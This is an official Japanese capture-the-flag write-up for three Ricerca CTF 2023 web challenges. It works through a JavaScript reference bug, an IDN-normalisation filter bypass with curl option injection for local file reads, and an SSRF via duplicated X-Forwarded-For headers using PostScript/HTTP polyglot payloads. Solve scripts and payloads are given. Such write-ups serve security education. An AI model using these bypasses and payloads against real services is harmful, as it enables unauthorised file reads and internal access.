この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はWebカテゴリの問題のうち、warmupを除く問題の解法を紹介します。
配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。
https://github.com/RICSecLab/ricerca-ctf-2023-public
また、他のジャンルのWriteupは以下の投稿から読むことができます。
問題・Writeup著者:xryuseix
ユーザ管理DBがあります。このデータベースの機能は以下の通りです。
まずデータベースのコードから見ていきます。AdminのパスワードadminPW
はcrypto.randomBytes(16).toString("hex")
で実装されていますが、この値を推測することはできません。また、データベースはdb.type.ts
でMap<AuthT, gradeT>
として実装されています。さらに、データベースは初期状態でadmin
が登録されています。
次にindex.ts
を見ていきます。方針としては以下の二つが考えられます。
admin
に昇格させるいずれにせよget_flag
エンドポイントに対して攻撃を行うことは難しいため、一旦後回しにします。fastify
関連のコードやHTML表示関連のコードも関係ないので同じく無視します。重要なコードに目星をつけるとこのあたりになります。
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
let auth = {
username: username ?? "admin",
password: password ?? randStr(),
};
if (!userDB.has(auth)) {
userDB.set(auth, "guest");
}
if (userDB.size > 10) {
// Too many users, clear the database
userDB.clear();
auth.username = "admin";
auth.password = getAdminPW();
userDB.set(auth, "admin");
auth.password = "*".repeat(auth.password.length);
}
const rollback = () => {
const grade = userDB.get(auth);
updateAdminPW();
const newAdminAuth = {
username: "admin",
password: getAdminPW(),
};
userDB.delete(auth);
userDB.set(newAdminAuth, grade ?? "guest");
};
setTimeout(() => {
// Admin password will be changed due to hacking detected :(
if (auth.username === "admin" && auth.password !== getAdminPW()) {
rollback();
}
}, 2000 + 3000 * Math.random()); // no timing attack!
});
ここで、rollback
関数に注意がいってしまいがちですが、重要なのはその前のif (userDB.size > 10)
のブロック内の処理です。ユーザ数が多くなった時にデータベースを初期化していますが、ここでauth
に注目します。auth
の流れは以下の通りです。
guest
のauth
を宣言guest
のauth
をデータベースに保存auth
の中身をusername=admin, password=getAdminPW()
に変更admin
のauth
をデータベースに保存admin
のauth
のパスワードをmaskし、出力ここで、JavaScriptは変数にオブジェクトを代入すると、値がコピーされるのではなく、参照がコピーされます。
例えば、以下のコードではa.val
を書き換えたのにb
の値が書き換わっています(コードの引用元)。つまり、JavaScripはオブジェクトを別の変数へ代入する際に、参照渡しに近い挙動となります。
var a = { val: 10 }
var b = a
a.val = 100
console.log(b) // { val: 100 }
Map.prototype.set
も同じく、元のオブジェクトの参照がコピーされるため、以降auth
を書き換えるたびにデータベースの中身が常に書き換わっています。
そのため、set_user
へのアクセス10回に1回はadmin
のパスワードが"********************************"
です。
ただし、admin
のパスワードが書き換わるとロールバック処理が走ります。パスワードが変わったら数秒以内にget_flag
エンドポイントにアクセスすればフラグが得られます。
Pythonで書かれたフラグを取得するためのコードを以下に示します。セッションを取得し、10回目のアクセスで{"username": "admin", "password": "********************************"}
を送信しています。
import re
import requests
import json
import time
HOST = "tinydb.2023.ricercactf.com"
PORT = "8888"
domain = f"{HOST}:{PORT}"
res = requests.post(
f"http://{domain}/set_user",
json={"username": "abc"},
)
session = re.findall("sessionId=(.*?);", res.headers["Set-Cookie"])[0]
for i in range(9):
res = requests.post(
f"http://{domain}/set_user",
json={"username": "abc"},
headers={"Cookie": f"sessionId={session}"},
)
time.sleep(0.2)
user = json.loads(res.text)
if (
user["authId"] == "admin"
and user["authPW"] == "********************************"
):
flag = requests.post(
f"http://{domain}/get_flag",
json={"username": "admin", "password": "********************************"},
headers={"Cookie": f"sessionId={session}"},
).text
print(flag)
RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}
問題・Writeup著者:satoki
テーマが国際化ドメイン名 (IDN) の問題なのでWebに分類しましたが、Miscのパズル感も強いです。 国内のWeb・Miscのトップ層を3時間足止めできればと思い作りました。 SECCONのeasylfiをリスペクトしています。
クエリパラメータ ?url=
で指定したページを表示するようで、IDNにも対応しています。
配布された app.py
の主要部分は以下のとおりです。
# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
bad_chars = "!\"#$%&'()*+,-;<=>[email protected][\\]^_`{|}~ \t\n\r\x0b\x0c"
for c in url:
try:
if c.encode("idna").decode() in bad_chars:
url = url.replace(c, "")
except:
continue
return url
# Scheme Detector
def scheme_detector(url :str) -> bool:
bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
"pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
url = url.lower()
for s in bad_schemes:
if s in url:
return True
return False
# WAF
@app.after_request
def waf(response: Response):
if b"RicSec" in b"".join(response.response):
return Response("Hi, Hacker !!!!")
return response
@app.route("/")
def funnylfi():
url = request.args.get("url")
if not url:
return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=ⓔxample.com</code>"
if scheme_detector(url):
return "Hi, Scheme man !!!!"
try:
proc = subprocess.run(
f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "[error]: timeout"
if proc.returncode != 0:
return "[error]: curl"
return proc.stdout
内部では、 encode("idna").decode()
したURL (0x3fの制限あり) を subprocess.run
で curl
にそのまま渡しています。
配布ファイル flag
があることや、問題名からもゴールはLFIだと考えられます。
また、配布ファイル Dockerfile
から /var/www/flag
にフラグが書かれていることがわかります。
Scheme Detector、Multibyte Characters Sanitizer、WAFの三種類のチェックがあるのでこれらをバイパスしてフラグを読みだす問題です。
ローカルのファイルを curl
にて読み取る際、スキーム file://
が利用できます。
ただし、入力されたURLのスキームを検証しているScheme Detectorを突破しなければなりません。
ここでScheme Detectorは以下のとおりです。
# Scheme Detector
def scheme_detector(url :str) -> bool:
bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt",
"pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"]
url = url.lower()
for s in bad_schemes:
if s in url:
return True
return False
url.lower()
により大文字 (ex. File://
) による突破は難しそうです。 また、 curl
の対応スキーム全てをチェックしており、比較の不備もなさそうに見えます。
ここで、処理の流れとして、Scheme Detectorの後の curl
に渡されるタイミングで、 encode("idna").decode()
という処理が行われることに気付きます。
つまり、Scheme Detectorを通り抜け、 encode("idna").decode()
によって file://
に変化する文字を使用すれば良いことになります。
サイト内の例にある ⓔxample.com
からも分かるように、 ⓔ
などは e
に変換されます。
したがって、この仕組みを使うことで、以下のようにScheme Detectorを突破することが可能です。
$ curl 'http://localhost:31415?url=file:///var/www/flag'
Hi, Scheme man !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~
無事に内部のファイルは読み取れましたが、 /var/www/flag
は相変わらずWAFにブロックされています。
WAFは以下のような単純な構成になっています。
# WAF
@app.after_request
def waf(response: Response):
if b"RicSec" in b"".join(response.response):
return Response("Hi, Hacker !!!!")
return response
curl
で読み取った内容に文字列 RicSec
が含まれている場合に、レスポンスがブロックされます。
実装に不自然な箇所はないので、文字列を変更するといった手法でWAFを突破する必要がありそうです。
Scheme Detectorを突破できましたが、さらにMultibyte Characters Sanitizerの突破を試みてみましょう。 Multibyte Characters Sanitizerは以下のとおりです。
# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
bad_chars = "!\"#$%&'()*+,-;<=>[email protected][\\]^_`{|}~ \t\n\r\x0b\x0c"
for c in url:
try:
if c.encode("idna").decode() in bad_chars:
url = url.replace(c, "")
except:
continue
return url
内部では encode("idna").decode()
により、入力されたURLを一文字ずつASCII文字 (ACE) へ変換し、禁止された特殊文字 bad_chars
に含まれていないことをチェックしています。
ⓔ
が e
に変換されたように、Multibyte Characters Sanitizerのチェックをすり抜けて、 curl
のタイミングでの encode("idna").decode()
で特殊文字になる非ASCII文字はないでしょうか。もし記号が使用できる場合は、LFIだけでなくOSコマンドインジェクションの可能性も出てきます。
以下は、Multibyte Characters Sanitizerをパスし、再度 curl
のタイミングでの encode("idna").decode()
により bad_chars
が含まれる入力を探すスクリプトです。
これを用いてMultibyte Characters Sanitizerの挙動を調査します。
for i in range(0xffff):
try:
ensc = mbc_sanitizer(chr(i)).encode("idna").decode()
for c in "!\"#$%&'()*+,-;<=>[email protected][\\]^_`{|}~ \t\n\r\x0b\x0c":
if c in ensc:
print(f"{i}: {ensc}")
break
except:
continue
実行すると以下のようにいくつかヒットします。
161: xn--7a
162: xn--8a
163: xn--9a
164: xn--bba
165: xn--cba
166: xn--dba
167: xn--eba
168: xn-- -ccb
169: xn--gba
171: xn--iba
~ 略 ~
ACEのPrefixである xn--
の記号 -
がヒットしてしまっているようです。
記号 -
は bad_chars
に含まれているため、本来ブロックされるべきです。
この結果より、Multibyte Characters Sanitizerでは encode("idna").decode()
の結果が複数文字になるケースが考慮されていないことがわかります。
ここで、 xn-- -ccb
にスペースが入っているという不審な点に気付きます。
これはUCDのNormalizationTest.txtにもあるように、正規化後にスペース (0x20) が含まれることが原因です。
curl
実行部分では subprocess.run
が shell=True
で呼び出されており、URLがそのまま渡っているため、スペースで分割される場合には -ccb
がオプションと解釈されることがわかります。
curl
に -ccb
のオプションがあるかは不明だが、この箇所を上手く指定してやればファイルを外部に送信することが可能かもしれません。
幸いなことに、スペースが含まれる文字種が多数あることも、実行結果から分かります。
さらにPrefixを除いたものを探すため、 bad_chars
が含まれる入力を探すスクリプトの if c in ensc:
を if c in ensc and not "xn--" in ensc:
へ変更し再度実行してみましょう。
8252: !!
8263: ??
8264: ?!
8265: !?
9332: (1)
9333: (2)
~ 略 ~
9397: (z)
10868: ::=
10869: ==
10870: ===
‼
などACEに変換した際に複数文字になるものがいくつか得られました。
これらの記号はMultibyte Characters Sanitizerにブロックされないため、URLとして利用可能です。しかし、残念ながらOSコマンドインジェクションは難しそうです。
Multibyte Characters Sanitizerの突破により、 curl
に任意のオプションを渡せる可能性があることがわかりました。
ここで、 curl
に渡すことでWAFの突破や外部へのファイル送信が可能となるオプションを探しましょう。
マニュアルを見ると、 -F
でファイル送信が可能なようですが、 encode("idna").decode()
の結果が全て小文字であることにより利用できません。
小文字のオプションに絞って探すと、 -r
によってバイトのRangeを指定できるようです。また、このオプションは file://
にも利用できます。
manにも以下のように書かれています。
-r, --range <range>
(HTTP FTP SFTP FILE) Retrieve a byte range (i.e. a partial document) from an HTTP/1.1, FTP or SFTP server or a local FILE. Ranges can be specified in a number of ways.
これを用いて -r1
や -r2
のような -rX
の形をオプションとして渡すことができれば、 RicSec
の先頭が読み飛ばされるのでWAFを突破できます。ここで encode("idna").decode()
が文字列に対してどのような挙動を示すかを詳細に調査してみます。
$ python
>>> f"{chr(168)}".encode("idna").decode()
'xn-- -ccb'
>>> f"A{chr(168)}".encode("idna").decode()
'xn--a -vub'
>>> f"B{chr(168)}".encode("idna").decode()
'xn--b -vub'
>>> f"AA{chr(168)}".encode("idna").decode()
'xn--aa -fec'
>>> f"AAA{chr(168)}".encode("idna").decode()
'xn--aaa -ywc'
>>> f"AAA{chr(168)}A".encode("idna").decode()
'xn--aaa a-hgd'
>>> f"filⓔ:///var/www/flag{chr(168)}".encode("idna").decode()
'xn--file:///var/www/flag -6wl'
文字列の内容にではなく長さに依存することが分かります (厳密には chr(168)
の位置) 。
また、先頭にPrefixである xn--
が、末尾にオプション (となる) -6wl
が付加されるようです。
これにより、 filⓔ://
の前に xn--
が付加されるため、スキームが壊れる問題が発生します。
ただし、Prefixは各サブドメインの先頭に付加される仕様であるため、以下のとおり .
を挿入してやればスキームを壊すことなくオプションを渡すことができます。
$ python
>>> f"filⓔ:///var/www/flag.{chr(168)}".encode("idna").decode()
'file:///var/www/flag.xn-- -ccb'
最後に問題となるのはファイル名です。
/var/www/flag
を読み取りたいのですが、スキームを壊さないために挿入した .
やPrefixである xn--
など余計なものが付いた結果、 var/www/flag.xn--
になってしまっています。
ここでさらに、 file://
にはクエリを付けても良いことを思い出しましょう。
以下のように実際の環境で試してみます。
$ curl file:///etc/passwd?satoki
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~
ただし、 ?
は bad_chars
として禁止されています。
ここで、Multibyte Characters Sanitizerの突破において、利用可能な記号を調査した際の出力に 8263: ??
があったことを思い出します。。
これを ?
として利用できないでしょうか。
$ python
>>> f"filⓔ:///var/www/flag{chr(8263)}.{chr(168)}".encode("idna").decode()
'file:///var/www/flag??.xn-- -ccb'
上手く ?
として機能しているようです。
最後に、オプションを -rX
の形にする必要があります。
実際は厳密に計算できますが、今回は総当たりを試みます。
文字列の内容にではなく長さに依存することより、文字数を増やしながらスペースが含まれる文字を探索してみましょう。
for i in range(0x3f):
for j in range(0xffff):
try:
url = f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}".encode("idna").decode()
if (" " in url) and ("r" in url.split(" ")[1]):
print(url)
print(f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}")
except Exception as e:
#print(e)
continue
実行すると、大量の結果から以下の出力が得られます。
file:///var/www/flag??.xn--aaaaaaaaaaaaaaaaaaaaa -r1m
filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛
r1
が上手く出てきています。 これをリクエストとして投げてやれば、WAFを突破してflagが取得できます。
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛'
icSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y}
問題・Writeup著者:potetisensei
Postscriptファイルを送るとPDFファイルに変換してくれるサービスです。
以下の図はサービスの構成を示しており、少々複雑であることがわかります:
サービスは以下のような流れで稼働しています:
また、バックエンドはフラグを実際に保持しているflagサーバーと通信する機能を持っており、Client-Ip
ヘッダがバックエンドサーバーのIPアドレスを示しているときに限り、/admin
にHTTPリクエストを送信することによってフラグを得ることができます:
func handleAdmin(w http.ResponseWriter, req *http.Request) {
check_err := func (err error) bool {
if err != nil {
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, "Error occurred: %v\n", err)
return true
}
return false
}
client_ip_str := req.Header.Get("Client-Ip")
client_ip, err := net.ResolveIPAddr("ip", client_ip_str)
if check_err(err) { return }
my_ip, err := net.ResolveIPAddr("ip", "backend")
if check_err(err) { return }
if client_ip_str != "127.0.0.1" && !client_ip.IP.Equal(my_ip.IP) {
fmt.Fprintln(w, "You are not allowed to see the flag!")
return
}
res, err := http.PostForm("http://flag:3000/showmeflag", url.Values{})
if check_err(err) { return }
defer res.Body.Close()
body, err := io.ReadAll(res.Body)
if check_err(err) { return }
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusOK)
w.Write(body)
}
Client-Ip
ヘッダはATSによって適切に設定されるため、単純にヘッダを偽造して/admin
に接続してフラグを取得するといったことはできません。したがって、なんらかのもう少し複雑な攻撃を行う必要があるとわかります。
結論からいうと、複数の問題が重なることにより、バックエンドの以下のコード箇所においてSSRFが発生します:
// Seems fine. So now let's send the file to the ps2pdf daemon
x_forwarded_for := req.Header.Get("X-Forwarded-For")
ips := strings.Split(x_forwarded_for, ", ")
ps2pdf := ips[len(ips)-1]
tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf + ":3000")
conn, err := net.DialTCP("tcp", nil, tcp_addr)
if check_err(err) { return }
もちろん、ps2pdfデーモンはfrontendに存在することがわかっているため、わざわざX-Forwarded-For
ヘッダを用いてIPアドレスを取得する必要はないのですが、この処理単体が常に脆弱であるわけではありません。プロキシが適切に設定されていた場合には、この処理は回りくどいものの、問題ないといえます。では、どこに原因があったのでしょうか。
今回の構成ではリバースプロキシとしてnginxがインターネットに露出していますが、nginxはX-Forwarded-For
ヘッダを適切に処理・付与するように設定されていません。proxy_set_header X-Forwarded-For $remote_addr;
の一文が記述されているべきでした。この一文が記述されていないことにより、ユーザーは任意の値を持ったX-Forwarded-For
ヘッダをATSへ送信することができます。重要な点は、このときnginxは、重複した複数のX-Forwarded-For
ヘッダがリクエストに含まれていても、それら全てをATSに送信してしまうということです。
ATSはプロキシとして稼働する際、デフォルトでX-Forwarded-For
ヘッダにクライアントのIPアドレスを付加しますが、複数のX-Forwarded-For
ヘッダがリクエストに含まれているとき、エラーを返したりヘッダを削除したりすることなく、最後のX-Forwarded-For
ヘッダにIPアドレスを付加して、すべてのX-Forwarded-For
ヘッダを転送してしまいます。
Goのnet/httpのHeader.Get()
はHeader.Values()[0]
と等価です。すなわち、同じ名前を持つヘッダが複数含まれていた場合、Header.Get
では1番初めのヘッダの値が返ります。よって、X-Forwarded-For
ヘッダが複数存在した場合、ATSが編集したヘッダはバックエンドによって使われません。
これら3つの原因が重なることによって、例えば以下のリクエストを送ると、target
へのSSRFが発生します:
curl -F [email protected] \
-H "X-Forwarded-for: target" \
-H "X-Forwarded-for: dummy" \
http://ps-converter.2023.ricercactf.com:51514/converter
さて、この脆弱性を利用してフラグを取得することを考えます。このSSRFで接続できるポートは3000番で固定であるため、SSRFで不正な通信を発生させられる接続先はproxy, backend, flagの3つに絞られます。また、SSRFで送信できるペイロードに制約があることにも注意する必要があります。バックエンドはps2pdfデーモンに接続する前に、ユーザーから受け取ったファイルが本当にPostscriptファイルとして有効であるかを確認しています:
f, _, err := req.FormFile("file")
if check_err(err) { return }
defer f.Close()
script, err := io.ReadAll(f)
if check_err(err) { return }
// First, check if the posted file is actually a Postscript file.
// 1. check `file` output
cmd := exec.Command("file", "-")
cmd.Stdin = bytes.NewReader(script)
var stdout1 bytes.Buffer
var stderr1 bytes.Buffer
cmd.Stdout = &stdout1
cmd.Stderr = &stderr1
err = cmd.Run()
if check_err(err) { return }
err_str1 := stderr1.String()
if err_str1 != "" {
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, "file returned error: [redacted]\n")
return
}
out_str1 := stdout1.String()
if !strings.Contains(out_str1, "PostScript document text") {
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusBadRequest)
fmt.Fprintf(w, "Get out, poor hacker!\n")
return
}
// 2. check if ps2ps can actually process the file
cmd = exec.Command("ps2ps", "/dev/stdin", "/dev/stdout")
cmd.Stdin = bytes.NewReader(script)
var stdout2 bytes.Buffer
var stderr2 bytes.Buffer
cmd.Stdout = &stdout2
cmd.Stderr = &stderr2
err = cmd.Run()
if check_err(err) { return }
err_str2 := stderr2.String()
if err_str2 != "" {
w.Header().Set("Content-Type", "text/plain")
w.WriteHeader(http.StatusInternalServerError)
fmt.Fprintf(w, "ps2ps returned error: [redacted]\n")
return
}
上記のコードによれば、バックエンドは与えられたファイルに対して、まずfile
コマンドを実行して”PostScript document text”
という出力になるかを確認し、その上でps2ps
コマンドが正常に終了するかを確認しています。一般にfile
コマンドはファイルの先頭を見ることでファイルフォーマットを判断しているため、SSRFのペイロードの先頭が%!
で始まる必要が生じます。
実は、例えば#!PostScript document text
のように、「Postscriptファイル以外のファイルフォーマットと認識させつつ”PostScript document text”
と出力させる方法」も存在していますが、ペイロードに制約が付くという点であまり状況は変わらないでしょう(ひょっとすると、ヘッダに自由な値が含められるファイルフォーマットによる別解はあるかもしれません)。
さて、素直に%!
をペイロードの先頭にすることにしてSSRFの利用方法を考えます。この制約によって、まずSSRF先としてflagが使えないことがわかります。Pythonのhttp.serverモジュールはATS, Goのnet/httpとは異なり、HTTPリクエストに含まれる異常な値に最も敏感です。したがって、%!
から始まるペイロードをflag:3000に対してHTTPリクエストとして送信したところで、エラーが発生するだけになります。一方、ATSおよびnet/httpはメソッド名に対して寛容であり、メソッド名に記号が含まれていてもHTTPリクエストとして受理します。特に、net/httpはリバースプロキシではないにも関わらず任意のメソッド名を受け付ける点で特異であるといえます。基本的にnginxや他のプログラミング言語のWebサーバーにはこのような挙動は見られません。
さて、残るSSRF先としてはproxy, backendがありますが、実はどちらを利用してもこの問題を解くことが可能です。
想定解ではproxyに対してSSRFし、ATSの性質をうまく用いることで、Postscriptファイルとしても有効でありながらバックエンドにHTTPリクエストとして正常に処理されるペイロードを作成します。まず、素直に以下のようなペイロードを作成してみると、proxyやbackendには受理してもらえる一方で、ps2ps
コマンドが失敗することがわかります:
$ cat a.ps
%!PS /converter/admin HTTP/1.1
Host: proxy:3000
$ ps2ps a.ps /dev/null
Error: /undefined in Host:
Operand stack:
Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1990 1 3 %oparray_pop 1989 1 3 %oparray_pop 1977 1 3 %oparray_pop 1833 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval--
Dictionary stack:
--dict:764/1123(ro)(G)-- --dict:0/20(G)-- --dict:75/200(L)--
Current allocation mode is local
Current file position is 28
GPL Ghostscript 9.55.0: Unrecoverable error, exit code 1
Postscriptが空白区切りの逆ポーランド記法で記述されることは有名ですが、Host:
が変数名であると認識されてしまい、未定義エラーが発生しています。変数の定義は/変数名 値 def
という命令列によってできるため、ヘッダとして/Host: 1 def
を含めることで未定義エラーを回避できそうですが、ヘッダ名に/
を含めることはRFC上・実際の一般的なWebサーバーの実装上のどちらにおいても禁止されており、うまく行かないように思えます。事実、backendにこのようなヘッダを含むリクエストを送信しても400エラーが返されます。
しかし、実はこのリクエストをそのままproxyに対して送信することでこの問題を解くことが可能です。nginxやATSに見られるリバースプロキシとしての特殊な挙動として「ヘッダ名に記号が含まれている場合、それをサイレントに取り除いてフォワードする」というものがあります。よって、上述のようなPostscript中で変数を定義するために用いられたヘッダは、ATSによって削除されてbackendには到達しないため、backendがHTTPリクエストとして正常に解釈します。すなわち、以下のようなスクリプトが想定解となります:
$ cat poly.ps
%!PS /admin HTTP/1.1
/Host: 1 def
/proxy:3000 1 def
Host: proxy:3000
$ cat solve.sh
#!/bin/bash
curl -F [email protected] \
-H "X-Forwarded-for: 123.45.67.101" \
-H "X-Forwarded-for: 123.45.67.101" \
http://ps-converter.2023.ricercactf.com:51514/converter>
また、社内でレビュー中に発見された非想定の解法として、backendに直接ペイロードを送る解法が挙げられます。Goのnet/httpの特殊な性質として、値が複数行にまたがったヘッダを受け付けるというものがあります。これは、RFCにも記載のある機能な一方で、現在ではdeprecatedな仕様であり、ほとんどのWebサーバーはサポートしていません。net/httpはこれをサポートしているため、以下のようなペイロードでフラグを得ることが可能です:
%!S /admin HTTP/1.1
%:
/Host: 0 def
/123.45.67.102 0 def
/Client-Ip: 0 def
/127.0.0.1 0 def
Host: 123.45.67.102
Client-Ip: 127.0.0.1
更に、参加された方のwriteupによって、よりシンプルな解法が存在することがわかりました。Postscriptはquit
命令によってインタプリタの実行を終了させることができます。また、上記のペイロードを見てもわかるとおり、net/httpは%
をヘッダ名に含んでも受け付けるため、以下のようなスクリプトをbackendに送ることでフラグが得られます:
%!GET /admin HTTP/1.1
quit%: dummy
Host: backend
Client-Ip: 127.0.0.1